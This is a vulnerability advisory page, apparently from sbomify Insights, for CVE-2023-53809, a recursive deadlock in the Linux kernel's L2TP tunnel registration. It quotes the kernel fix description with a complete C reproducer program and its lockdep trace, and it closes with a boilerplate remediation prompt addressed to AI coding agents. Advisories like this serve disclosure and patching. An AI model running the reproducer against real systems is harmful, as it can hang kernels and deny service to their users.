# CVE-2023-53809: l2tp: Avoid possible recursive deadlock in l2tp_tunnel_register()

> A local attacker can cause a kernel deadlock in the L2TP tunnel registration by passing a specific socket file descriptor, leading to denial of service.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Local or same network only
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 9 Dec 2025
- **Updated:** 23 May 2026
- **Also known as:** BELL-CVE-2023-53809, DEBIAN-CVE-2023-53809, GHSA-f2xq-v5p2-cqjf, UBUNTU-CVE-2023-53809

## What is CVE-2023-53809?

CVE-2023-53809 is a vulnerability in Linux, published on 9 Dec 2025. It can only be exploited from the same machine or local network, with no action from the victim.

### Official description

In the Linux kernel, the following vulnerability has been resolved:

l2tp: Avoid possible recursive deadlock in l2tp_tunnel_register()

When a file descriptor of pppol2tp socket is passed as file descriptor
of UDP socket, a recursive deadlock occurs in l2tp_tunnel_register().
This situation is reproduced by the following program:

int main(void)
{
	int sock;
	struct sockaddr_pppol2tp addr;

	sock = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP);
	if (sock < 0) {
		perror("socket");
		return 1;
	}

	addr.sa_family = AF_PPPOX;
	addr.sa_protocol = PX_PROTO_OL2TP;
	addr.pppol2tp.pid = 0;
	addr.pppol2tp.fd = sock;
	addr.pppol2tp.addr.sin_family = PF_INET;
	addr.pppol2tp.addr.sin_port = htons(0);
	addr.pppol2tp.addr.sin_addr.s_addr = inet_addr("192.168.0.1");
	addr.pppol2tp.s_tunnel = 1;
	addr.pppol2tp.s_session = 0;
	addr.pppol2tp.d_tunnel = 0;
	addr.pppol2tp.d_session = 0;

	if (connect(sock, (const struct sockaddr *)&addr, sizeof(addr)) < 0) {
		perror("connect");
		return 1;
	}

	return 0;
}

This program causes the following lockdep warning:

 ============================================
 WARNING: possible recursive locking detected
 6.2.0-rc5-00205-gc96618275234 #56 Not tainted
 --------------------------------------------
 repro/8607 is trying to acquire lock:
 ffff8880213c8130 (sk_lock-AF_PPPOX){+.+.}-{0:0}, at: l2tp_tunnel_register+0x2b7/0x11c0

 but task is already holding lock:
 ffff8880213c8130 (sk_lock-AF_PPPOX){+.+.}-{0:0}, at: pppol2tp_connect+0xa82/0x1a30

 other info that might help us debug this:
  Possible unsafe locking scenario:

        CPU0
        ----
   lock(sk_lock-AF_PPPOX);
   lock(sk_lock-AF_PPPOX);

  *** DEADLOCK ***

  May be due to missing lock nesting notation

 1 lock held by repro/8607:
  #0: ffff8880213c8130 (sk_lock-AF_PPPOX){+.+.}-{0:0}, at: pppol2tp_connect+0xa82/0x1a30

 stack backtrace:
 CPU: 0 PID: 8607 Comm: repro Not tainted 6.2.0-rc5-00205-gc96618275234 #56
 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.1-2.fc37 04/01/2014
 Call Trace:
  <TASK>
  dump_stack_lvl+0x100/0x178
  __lock_acquire.cold+0x119/0x3b9
  ? lockdep_hardirqs_on_prepare+0x410/0x410
  lock_acquire+0x1e0/0x610
  ? l2tp_tunnel_register+0x2b7/0x11c0
  ? lock_downgrade+0x710/0x710
  ? __fget_files+0x283/0x3e0
  lock_sock_nested+0x3a/0xf0
  ? l2tp_tunnel_register+0x2b7/0x11c0
  l2tp_tunnel_register+0x2b7/0x11c0
  ? sprintf+0xc4/0x100
  ? l2tp_tunnel_del_work+0x6b0/0x6b0
  ? debug_object_deactivate+0x320/0x320
  ? lockdep_init_map_type+0x16d/0x7a0
  ? lockdep_init_map_type+0x16d/0x7a0
  ? l2tp_tunnel_create+0x2bf/0x4b0
  ? l2tp_tunnel_create+0x3c6/0x4b0
  pppol2tp_connect+0x14e1/0x1a30
  ? pppol2tp_put_sk+0xd0/0xd0
  ? aa_sk_perm+0x2b7/0xa80
  ? aa_af_perm+0x260/0x260
  ? bpf_lsm_socket_connect+0x9/0x10
  ? pppol2tp_put_sk+0xd0/0xd0
  __sys_connect_file+0x14f/0x190
  __sys_connect+0x133/0x160
  ? __sys_connect_file+0x190/0x190
  ? lockdep_hardirqs_on+0x7d/0x100
  ? ktime_get_coarse_real_ts64+0x1b7/0x200
  ? ktime_get_coarse_real_ts64+0x147/0x200
  ? __audit_syscall_entry+0x396/0x500
  __x64_sys_connect+0x72/0xb0
  do_syscall_64+0x38/0xb0
  entry_SYSCALL_64_after_hwframe+0x63/0xcd

This patch fixes the issue by getting/creating the tunnel before
locking the pppol2tp socket.

## Which versions are affected by CVE-2023-53809?


## How do I fix CVE-2023-53809?

Apply the vendor's patch.

## Is CVE-2023-53809 being exploited?

There is no known exploitation of CVE-2023-53809 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2023-53809 and fix it if it is affected.

What it is: CVE-2023-53809 is a vulnerability in Linux, published on 9 Dec 2025. It can only be exploited from the same machine or local network, with no action from the victim.
Exploitation: There is no known exploitation of CVE-2023-53809 in the wild and no public exploit code.

Affected product: Linux. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2023-53809/ (Markdown: https://insights.sbomify.com/CVE-2023-53809/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2023-53809
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2023-53809
- OSV: https://osv.dev/vulnerability/CVE-2023-53809

---
From sbomify Insights: https://insights.sbomify.com/CVE-2023-53809/
Summaries are generated and may contain mistakes; the official description above is the record.